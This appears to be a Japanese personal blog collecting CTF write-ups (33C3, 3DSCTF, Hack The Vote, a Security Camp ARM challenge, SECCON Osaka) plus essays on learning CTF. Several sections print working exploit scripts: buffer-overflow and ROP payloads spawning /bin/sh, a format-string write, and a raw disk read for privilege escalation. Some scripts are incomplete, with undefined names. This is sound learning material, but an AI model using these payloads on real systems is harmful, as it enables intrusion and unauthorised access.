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ブログ未満のなにか

ブログなのか誰にも分からない

33C3 CTF writeup

はじめに

TokyoWesternsで参加して6位でした。pwnを中心にやってたのですが、解析パートが辛く厳しかった。僕が関わった問題2問のwriteupです。

The 0x90s called (pwn 150)

Linuxカーネルが動作するサーバーにアクセスして、rootでしか読めないflagを読む問題。
途中まで出来たが最後はプロが解いてくれた(圧倒的感謝🙏)。

% nc 78.46.224.70 2323

Welcome to Linux 0.99pl12.

slack login: challenge
Password:challenge

Linux 0.99pl12. (Posix).
No mail.
slack:~$ uname -a
Linux slack 0.99.12 #6 Sun Aug 8 16:02:35 CDT 1993 i586

/etc/passwdを見ると、syncはパスが設定されてない。suコマンドでsyncの権限でコマンド実行することが可能だった(ここまではできた)。rootグループの権限があってもflagは読めないのでもう一捻り必要。

cat /etc/passwd
root::0:0::/:/bin/sh
daemon:x:1:1::/etc:
bin:x:2:2::/bin:
adm:x:4:4::/:
uucp::5:5::/usr/uucp:
sync::255:0:::/bin/sync
anonymous:*:403:1::/home/ftp:/bin/sh
ftp:*:404:1::/home/ftp:/bin/sh
challenge:*:405:1::/home/challenge:

slack:~$ su sync -c 'id'
uid=255(sync) gid=0(root)

プロが/dev/*は、rootグループでreadできることに気づいた./dev/hdaにファイルが書き込まれていることに気づきdone.

su sync -c 'cat /dev/hda'

(skip)
33C3_Th3_0x90s_w3r3_pre3tty_4w3s0m3
(skip)

rec

flagのsubmitはしたが、正直何もしてないごっつぁんゴール。やったことは、rubyで書かれたexploitをpythonに書き直し、libcをリークさせようとしてた。libcのリークは完全に無駄で、オフセットから特定が可能だった。

Signは入力した数値の符号を返す機能で、入力に応じてeaxに関数を設定してcall eaxしている。
0を入力すると、eaxに関数が設定されず、stack上の値がeaxに格納される。
うまいことstackを調整し、呼び出したい関数をstackに積んでから0を入力すればいい。


from pwn import *

def m(u32):
    return -(0xffffffff - u32 + 1)

def send_cmd(num):
    repr(conn.recvuntil('> '))
    conn.sendline(str(num))
    print '< ', num
    return  

def send_addr100(addr): 
    for i in range(100):
        conn.sendline(str(addr)) 

host = '78.46.224.74'
port = 4127

# myabe address so must dump libc 
libc_stdout_offset = 0x1b3d60
libc_system_offset = 0x3b020
libc_binsh_offset = 0x15cbcf
libc_system_offset = 0x0003a8b0

conn = remote(host, port)

# leak some addreses
send_cmd(1)
conn.recvuntil('Your note: ')
recv = conn.recv(16)
print repr(recv)
stack_addr = u32(recv[0:4])
pie_base = u32(recv[4:8]) - 0x6fb
libc_base = u32(recv[8:12]) - libc_stdout_offset 
print '[+] pie_base =', hex(pie_base)
print '[+] libc_base =', hex(libc_base)

send_cmd(2)
conn.recvuntil(': ')
conn.sendline('S')
send_func100(m(libc_base + libc_system_offset))

conn.recvuntil(': ')
conn.sendline(str(m(libc_base + libc_binsh_offset)))
conn.sendline('.')
send_cmd(5)
conn.sendline('0')

conn.interactive()
% python exploit.py 
[+] Opening connection to 78.46.224.74 on port 4127: Done
<  1
'\xb8\xd0\xe5\xff\xfb\x16ZV`\x9dm\xf7\xfe ZV'
[+] pie_base = 0x565a1000
[+] libc_base = 0xf7526000
<  2
<  5
[*] Switching to interactive mode
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ ls
bin
boot
challenge
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cat /challenge/flag
33C3_L0rd_Nikon_would_l3t_u_1n

おわりに

任意の問題が辛かったのでもっと精進したい。
rev力の無さを痛感したので精進したい。
Firefox exploitationの問題はwriteup読みながらでも解きたい。

The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup

はじめに

ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。

Get started (pwn 100)

BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。

from pwn import *

get_flag = 0x080489a0

conn = remote('54.175.35.248', 8005)

payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += 'AAAA'
payload += p32(0x308cd64f)
payload += p32(0x195719d1)

conn.sendline(payload)
print conn.recv(1024)

not the same

BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。

from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1
#payload = 'A' * (0x3c - 4)
payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)
conn = remote('54.175.35.248', 8006)
conn = process('not_the_same') 
conn.sendline(payload)
print conn.recv(1024)
from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1

#payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)

conn = remote('54.175.35.248', 8006)
conn.sendline(payload)
print conn.recv(1024)

### 3DS{b0f_pr4_c0m3c4r_n3}

Please no (pwn300)

BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。

from pwn import *

host = '209.190.1.131'
port = 9003
file_name = 'please-no'


mflag_addr = 0x8048690
text_addr = 0x8048650
flag_addr = 0x8048590
pop3_ret_addr = 0x8048789


'''
mflag
 8048690:       83 ec 1c                sub    esp,0x1c
 8048693:       81 7c 24 20 41 0c 0b    cmp    DWORD PTR [esp+0x20],0x1b0b0c41
 804869a:       1b 
 804869b:       75 2d                   jne    80486ca <fgetc@plt+0x26a>
 804869d:       81 7c 24 24 4e 37 13    cmp    DWORD PTR [esp+0x24],0xae13374e
 80486a4:       ae 

 80486a5:       75 23                   jne    80486ca <fgetc@plt+0x26a>
 80486a7:       c7 44 24 16 6d 66 6c    mov    DWORD PTR [esp+0x16],0x616c666d
 80486ae:       61 
 80486af:       66 c7 44 24 1a 67 00    mov    WORD PTR [esp+0x1a],0x67


# .text
 8048650:       83 ec 1c                sub    esp,0x1c
 8048653:       81 7c 24 20 37 13 b0    cmp    DWORD PTR [esp+0x20],0xb0b01337
 804865a:       b0 
 804865b:       75 23                   jne    8048680 <fgetc@plt+0x220>
 804865d:       c7 44 24 16 2e 74 65    mov    DWORD PTR [esp+0x16],0x7865742e
 8048664:       78 
 8048665:       66 c7 44 24 1a 74 00    mov    WORD PTR [esp+0x1a],0x74
'''

elf = ELF(file_name)

if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)


payload = 'A' * 20
payload += p32(mflag_addr)
payload += p32(pop3_ret_addr)
payload += p32(0x1b0b0c41)
payload += p32(0xae13374e)
payload += 'AAAA'

payload += p32(text_addr)
payload += p32(pr)
payload += p32(0xb0b01337)
payload += 'AAAA'
payload += 'AAAA'
payload += p32(flag_addr)
payload += p32(0x8048420)
conn.sendline(payload)
print repr(conn.recv(1024))
conn.close()

### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}

echoindiapapa (pwn 400)

FSB
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。

from pwn import *
host = '209.190.1.131'
port = 9005

string_addr = 0x601080
main_addr = 0x400750
if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)

conn.recvuntil('name?')
payload = '%384c%10$n'
conn.sendline(payload)
print repr(conn.recv(1024))
print repr(conn.recv(1024))

### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}

おわりに

息抜きちょうどよかった。

CTFをやり始めたきっかけとかいろいろ

はじめに

この記事は、CTF Advent Calendar 2016 - Adventarの20日目の記事です。
空いている日を埋めようとしている作成者を見かけたので、便乗して書きました。
中身は、まったく技術的なことがないポエムです。

CTFを知ったきっかけ

地元の有志による勉強会で、「セキュリティを勉強しよう!それにはCTFがいいよ!」みたいなLTを聞いたのがキッカケだったと思います。
その時点まで、セキュリティとかまったく興味ありませんでした。
しかし、ただ興味を持っただけで、実際にCTFを始めたのはもっと後になってからでした。

はじめてのCTF(?)

「CTFって楽しいなぁ、やってみよう」と思ったのは、mixiさん主催のscrap challengeがキッカケでした。
詳細は、リンク先をみてください。大雑把にイベントの内容を説明しますと、mixiのクローンサイトに脆弱性を埋め込み、そこを突いて情報を抜き出し競い合いといった感じです。
SQL Injectionを駆使した問題で、うまくいった時にめちゃくちゃ脳汁が出たのを覚えています。
この時の快感が忘れられずに、CTFにのめり込んで行きました。

学生向けイベント「git challenge」のご案内 - mixi engineer blog

それから1年ぐらい

CTFtime見ながら、良さげなオンラインCTFを探して、ソロで参加してました。
オンラインCTFがやってないときは、常設CTFの問題解いてました。
だいたい、以下の常設CTFやってました。

それと、たまに大学サークルチームでSECCONの地方大会に出たりしてました。
そういう世界観のA&Dとか、1秒で切り替わるバイナリとか楽しかったです。

勉強するときは、有名なinaz2さんのももいろテクノロジー読んだりしてました。
inaz2.hatenablog.com

ytokuさんのPwn勉強会の資料とか読んで実践してました。
ytoku/Slides/Pwn勉強会 - 電気通信大学MMA

どなたのサイトか分からないのですが、以下のサイトも体系的にまとまっていたので、参考にさせていただきました。
CTF Pwn - A painter and a black cat

これから

色々なジャンルの問題に手を出してみて、他よりも良く出来たのがpwnだったので、pwn精進していきたいです。
heapがよくわからんので、glibcソースコード読んだり、小崎さんのmalloc動画を見て仕組みを理解したいなーといった感じです。
The 67th Yokohama kernel reading party - YouTube

あとは、bataさんのリスト埋めて経験積んでいきたい。(medium easyまでしか解けてない...)
pwn challenges list - Pastebin.com

最近、チームに入れてもらったので貢献できるようになりたいなーと。

おわりに

だから何なんだ、という内容でした。
最後まで読んでいただきありがとうございました。

MCC CTF workshopのはなし

はじめに

この記事は、MCC Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目の記事は、Cherry氏のE科鬼実験体験談 | MCC Blogです。

こんばんわ、S科B4のhamaです。役職などありませんが、CTFの方にちょくちょく参加してます。
今回は、タイトル通りにCTF workshopについて書きたいと思います。

概要

9月7日、9日に開催されました。
7日は、shift_crops先生によるexploit(pwn)とbinaryの講義。
9日は、monjisan先生によるWebの講義と、icchy先生によるForensicの講義でした。

binary

binaryは、与えられた実行形式ファイルを解析してフラグを得るというのが目標となるジャンルで、講義ではアセンブラの読み方など初歩からやっていました。
shift_crops先生は、ctf4bという入門者向けの講座の先生も務めている大先生なので、わかりやすく楽しい講義でした。

exploit

脆弱性のあるバイナリが10個ほど与えられました。
脆弱性を突きシェルを奪うのがゴールで、黙々と攻撃してました。
取り扱った脆弱性は、FSB(Format String Bug)と、BOF(Buffer OverFllow)でした。
あとはShellcodeに関するものもありました。
shift_crops大先生は、pwnの大先生なので細かいテクニックなども聞けて楽しかったです。

web

すいません、よく聞いてなかったのか覚えてません。
MCCのslackの#ctf_workshopに、スライドが上がってるので確認してください。
monjisan先生は、javascriptの大先生なのでwebに強いです。

forensic

icchy先生によるforensicの講義です。
forensicとは何かから始まり、この間開催されたTWCTFの問題を解説を交えながら解きました。

おわりに

だいたいの資料や使用したバイナリでは、#ctf_workshopに上がってますので部員なら誰でも閲覧できると思います。
次回のworkshopが開催されるとかされないとか微妙な感じなので、参加希望者多数にして開催しましょう!!!

次の24日目記事は、gurapomu氏のMinecraft Modding 入門です。

camp ctf 2016 writeup -Mercury編-

はじめに

この記事はCTF Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目はelliptic_shiho氏の古典暗号 - 一致指数を用いた多表式暗号の解読 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですでした。

今年のセキュリティキャンプ2016全国大会で開催されたCTFで出題された問題のwriteupです。
ジャンル名はMercuryで、権限昇格系の問題です。問題名は分かりません。

初期調査

leetは、ARMの32bit ELFであり、ソースコードも付いており親切設計。
カナリアがないので、この段階でBOFかなーと予想を立てる。

$ ls -l
-rw-r----- 1 root     mercury2    41 Jul 27 16:09 flag
-rwxr-s--- 1 mercury1 mercury2  7320 Jul 27 16:09 leet
-rw-r----- 1 mercury2 mercury1   924 Aug  8 16:41 leet.c

$ file ./leet
./leet: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x4736edbcdaab4e66ac3cac3d675331310f714dc3, not stripped

$ checksec --file ./leet
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./leet

ソースコード

bufとoutputのサイズは512byteとなっており、fgetsもサイズ分しか受け取らないようになっている。
leet関数では、対応する文字を別の文字へと置き換える処理を行っていおり、一部の文字を使えばBOFを引き起こすことができる。
outputはmain関数のローカル変数となっており、またカナリアがないので、main関数のリターンアドレスを書き換えて制御を奪う方針でいく。

init関数内でsysytemを呼んでおり、これも使えそう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define BUF_SIZE 512

char buf[BUF_SIZE];

__attribute__((constructor))
void init(void){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("date");
}

void leet(char*, char*);

void main(void){
	char output[BUF_SIZE];

	fprintf(stdout, "InputText : ");
	fgets(buf, sizeof(buf), stdin);
	leet(output, buf);
	fprintf(stdout, "LeetSpeak : %s\n", output);
}

void leet(char *dst, char *src){
	int i,j;
	char dict_src[]  = {'a','e','i','o','q','s','t','H','K'};
	char *dict_dst[] = {"4","3","1","0","9","5","7","|-|","|<"};

	assert(sizeof(dict_src)==sizeof(dict_dst)/sizeof(char*));

	for(i=0; src[i]^'\n'&&i<BUF_SIZE; i++){
		for(j=0; j<sizeof(dict_src); j++)
			if(src[i]==dict_src[j]){
				int sz = strlen(dict_dst[j]);
				memcpy(dst, dict_dst[j], sz);
				dst+=sz;
				goto done;
			}

		*(dst++) = src[i];
done:		continue;
	}
	*dst='\0';
}

exploit

x86では関数の引数をスタックを用いて渡しているが、ARMではレジスタを用いて引数を設定するので、ROPなどでレジスタに引数を設定する必要がある。
使えそうなgadgetを探すと、tomoriセクションにnao関数が存在している。
spで指している値をr0に設定しており、使えそう。

また、bufの先頭アドレスは0x20a2cであり、指定する際に改行文字が含まれるので適当に工夫する。
212バイト先が0x20b00であり、そこから/bin/shを配置した。

Disassembly of section tomori:

0001083c <nao>:
   1083c:       e52db004        push    {fp}            ; (str fp, [sp, #-4]!)
   10840:       e28db000        add     fp, sp, #0
   10844:       e8bd8001        pop     {r0, pc}
   10848:       e24bd000        sub     sp, fp, #0
   1084c:       e49db004        pop     {fp}            ; (ldr fp, [sp], #4)
   10850:       e12fff1e        bx      lr

最終的なexploitは、こちら

import struct
from subprocess import Popen, PIPE

buf_size = 512
main_addr = 0x000105d8
nao_addr = 0x0001083c
system_addr = 0x105c4
buf_addr = 0x20a2c 
pudding_size = 212

payload = 'H' *  (buf_size / 3)
payload += 'AA'
payload += struct.pack('<I', buf_addr + pudding_size)
payload += struct.pack('<I', nao_addr)
payload += struct.pack('<I', system_addr)

payload += 'B' * (pudding_size - len(payload))
payload += '/bin/sh\x00'

payload += '\n'

p = Popen(['./leet'], stdin=PIPE, stdout=PIPE)

print p.stdout.readline()			                   # system('date')の出力
print p.stdout.read(len('InputText : '))
p.stdin.write(payload)
print '[+] payload = ', repr(payload)

print p.stdout.readline()
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

シェルが起動するので、あとは読むだけ。

mercury1@ctf-server:/home/mercury2 $ python /home/pi/exploit.py 
Mon 21 Nov 21:10:53 JST 2016

InputText : 
[+] payload =  'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHAA\x01\x0b\x02\x00<\x08\x01\x00\xc4\x05\x01\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBB/bin/sh\x00\n'
LeetSpeak : |-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-|AA


$ id
uid=1002(mercury1) gid=1002(mercury1) egid=1003(mercury2) groups=1003(mercury2),1000(pi),1002(mercury1)
$ cat flag
FLAG{r37urn_0r13n73d_pr0gr4mm1ng_0n_ARM}
$ exit

さいごに

ARMのpwnは初めてのような気がするので、結構面白かった。他のARMの問題もやってみたけど、あまり聞かないので知っている方いましたら教えてください。

作問者からROPで行けると聞いていたのだが、これROPか?といった気持ち(広義の意味ではReterun Orientedか...)。

あと、ARMのexploit環境でオススメのツールとかあったら教えてください。解析を素のgdbでやっていたので相当キツかった。

次の24日目の記事はinza2氏のThe Malloc Maleficarum (Bugtraq 2005)です!

参考にした記事など

inaz2.hatenablog.com

Hack The Vote 2016 writeup

はじめに

TokyoWesternsで参加して、結果は2401ptsの19位だった。
自分が関わった分は、150pts分だったので、そのwriteupを書いていく。

TOPKEK (Crypto 50)

見た感じランレングスっぽいなーと思い、適当にやってみたら当たっていた。

% cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt 
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def count_exp(c):
    result = 0
    for i in c:
        if i == '!':
            result = result + 1
    return result 


cry = '''KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!'''

# print cry.split(" ")
list_cry = cry.split(" ")

result = ''
for c in list_cry:
    if 'KEK' in c:
        result += '0' * count_exp(c)
    if 'TOP' in c:
        result += '1' * count_exp(c)

print '[+] result =', result
print '[+] result =', hex(int(result, 2))
flag =  hex(int(result, 2))
flag = flag[2:-1]

print flag
print flag.decode('hex')

% python solver.py 
[+] result = 0110011001101100011000010110011101111011010101000011000001101111001100000110111100110000011011110011000001101111001100000101000001011111010111110101111101011111010111110101111100110001011011010101111101101000001101000101011000110001011011100100011101011111010001100111010101001110010111110111001000110001011001110100100001110100010111110110111000110000010101110101111100110100010100100011001101011111011110010011000001110101010111110110100000110100011101100011000101101110011001110101111101100110011101010110111001011111010111110101111101011111010111110101111101001011001100110100101100100001001000010010000101111101
[+] result = 0x666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217dL
666c61677b54306f306f306f306f30505f5f5f5f5f5f316d5f683456316e475f46754e5f72316748745f6e30575f3452335f7930755f683476316e675f66756e5f5f5f5f5f5f4b334b2121217d
flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}

IRS (Exploitation 100)

メニューの1番で新規登録を行い、3番で登録した情報の編集が行えた。確認の"y/n"メッセージの後にgets()で入力を取っているので、ここでBOFが起きる。
canaryもないので、EIPを書き換え可能となっている。
Trumpさんのパスワードがflagとなっており、そのアドレスは固定となっている。
リターンアドレスをputs()を呼び出すように、引数にflagをセットすればいい。
競技中、flagのアドレスを間違えており、1時間ぐらい悩んでいた。
メンバーに相談したところ、サクッとフラグを取ってくれて有難かった。

from pwn import *

bufsize = 21 
puts_addr = 0x80484f8
flag_addr = 0x8048ac2

host = 'irs.pwn.republican'
port = 4127

conn = remote(host, port)
#conn = process('./irs')

conn.recvuntil('Donald Trump')
conn.sendline('1')
conn.recvuntil('Enter the name: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the income: ')
conn.sendline('1')
conn.recvuntil('Enter the deductions: ')
conn.sendline('2')

conn.recvuntil('1 - A')
conn.sendline('3')
conn.recvuntil('Enter the name of the file to edit: ')
conn.sendline('A')
conn.recvuntil('Enter the password: ')
conn.sendline('B')
conn.recvuntil('Enter the new income: ')
conn.sendline('3')
conn.recvuntil('Enter the new deductible: ')
conn.sendline('4')
print conn.recvuntil('y/n')

payload = 'A' * (bufsize)
payload += 'dead'  
payload += p32(puts_addr)  
payload += 'beaf'
payload += p32(flag_addr)
print '[+] payload =', payload
conn.sendline(payload)
conn.recvuntil('Your changes have been recorded!')
recv =  conn.recv(1024)
recv =  conn.recv(1024)
print recv
% python exploit.py 
[+] Opening connection to irs.pwn.republican on port 4127: Done
y/n
[+] payload = AAAAAAAAAAAAAAAAAAAAAdead?beaf\x0

flag?@\x04{c4n?_1_g?@\x0c3t_a?@\x10_r3f?@\x14und}\x8bE??@d\xff\x9frN\x8bE??@h\xff\x9frN\x8bE??E?\x83?
                                                                                                     ?E?P?,?\xff\xff\x83?\xa1 \xb0\x0\x83?Pj\x03\x8dE?P???\xff\xff\x83?\x83?j2j

[*] Closed connection to irs.pwn.republican port 4127

フォーマットに合うように整形して

flag{c4n_1_get_a_r3fund}

FOX Voting Simulator (Exploitation 300)

この問題は、取り組んでいたが競技中に解けなかったもの。
NWO_memberVote関数のダンプまではしたが、よく読まずに問題ないと判断して詰んでいた。
他のwriteupを見るとheap overflowが起こせたようで、action関数のアドレスを書き換えてone-gadget /bin/sh RCEを呼べばシェルを取れたようだった。

おわりに

精進します。もっとpwnできるようになりたい。

SECCON2016 大阪大会 writeup

はじめに

バイナリ早食い大会で、バイナリ総数が2万を超えていた。
SECCON最多らしいでの、歴史に立ち会えた感じがする。

今回は、tuat_mccで参加した。
結果は2位で、まぁまぁ良かったかなと。
しかし、2位でも1位の半分以下しか点数が取れなかったので、圧倒的実力差があった。辛い

f:id:hama7230:20161003154300j:plain

問題内容

問題サーバは、下記の4つ(競技説明のスライドから抜粋)。
バックドアを探せは、入力された文字列と内部で処理された文字列を比較していくもので、一致していればフラグを得られる。
スタックオーバーフローは、フラグを出力する関数があるので、BOFしてリターンアドレスをフラグ出力関数に書き換えれば良いというもの。
easyとhardの差は、難読化がされているかどうか。

– 10.0.1.2:10000
● バックドアを探せ(easy, 5分毎にバイナリ更新, 全36バイナリ)
– 10.0.1.2:20000
● バックドアを探せ(hard, 1秒毎にバイナリ更新, 全10,800バイナリ)
– 10.0.1.2:30000
● スタックバッファオーバーフローで制御を奪え(easy, 5分毎にバイナリ更新, 全36バイナリ)
– 10.0.1.2:40000
● スタックバッファオーバーフローで制御を奪え(hard, 1秒毎にバイナリ更新, 全10,800バイナリ

writeup

まず、10000番ポートのバイナリの解析に取り掛かった。このポートのバイナリは、ある固定の値でXORした文字列と、入力された文字列が一致していればフラグを得ることができる。その処理を行っているところが、以下の通りとなっている。
10000番ポートから降ってくるバイナリの1つから抜粋したので、バイナリごとにアドレスや値が異なっている。しかし、命令の並びは同じであるので、どのバイナリでも同じように解析可能だった。

最初のmov命令で、ecx(カウンタ)に、文字列同士を比較するときの長さを格納している。
movabs命令で、rsiにランダムな文字列を格納している。この文字列が、後でXORされて入力文字列と比較される。
続く2つのmov命令で、入力文字列と、ランダム文字列から1文字ずつ取り出している。
xor命令で、ランダム文字列側の1文字を固定値で、XORしている。
最後にcmpで比較しており、一致していない場合は、Hello World!を出力するようにジャンプしていく。
一致していた場合は、rcxをデクリメントし、2つ文字列から1文字取り出す処理にジャンプし、ループしていく。

以上のことから、excに格納される値、ランダム文字列が格納されているアドレス、xorする値の3つが分かればいいので、
それを抜き出してフラグをサブミットしてもらう処理を、他のメンバに自動化してもらった。
https://t.co/EMSyXzO4TX


  400153:       b9 0f 00 00 00          mov    ecx,0xf
  400158:       48 8d 7d f1             lea    rdi,[rbp-0xf]
  40015c:       48 be 35 02 40 00 00    movabs rsi,0x400235
  400163:       00 00 00 
  400166:       8a 44 0f ff             mov    al,BYTE PTR [rdi+rcx*1-0x1]
  40016a:       8a 5c 0e ff             mov    bl,BYTE PTR [rsi+rcx*1-0x1]
  40016e:       34 e8                   xor    al,0xe8
  400170:       38 d8                   cmp    al,bl
  400172:       75 11                   jne    0x400185
  400174:       48 ff c9                dec    rcx
  400177:       75 ed                   jne    0x400166


20000番ポートだが、難読化がキツくて読み進めるのが辛かった。
途中で、これを人力でやるのは無理だと感じ、秘密兵器のangrを使おうと思ったが、使い方が分からなかった。
Hello World!が出力されないパスとか求められないかなー」と考えていたが、やり方が分からなかった。

30000番と40000番ポートの問題はノータッチで、他のメンバが取り組んでくれていた。
30000番は、バッファサイズと、カナリア、secretを出力する関数のアドレスが求めて、exploitを組み立てていたみたいで、フラグのsubmitも含めて自動化していた。
40000番は、まったく知らない。他のメンバが、バッファサイズとカナリアを求めることができたそうなので、あともう少しだったらしい。

さいごに

競技時間中にメンバーと、「angr使う余地ある?」みたいな会話をしていた。優勝チームは、angrを使ってhardの問題を解いていたので、もう辛い。findとavoidのアドレスを設定して回す、みたいな使い方しか知らなかったので、angrをもっと知っておけば良かったと後悔している。

自動化を競う大会なのに、まったく自動化しようとしなかったので、その点は反省したい。
そもそも競技中に書いたコードが、フラグをsubmitするシェルスクリプトぐらいだった。

せっかく大阪に来たのでゲーセンに行こうとしたら客引きに、こんなことを言われてしまい辛かった。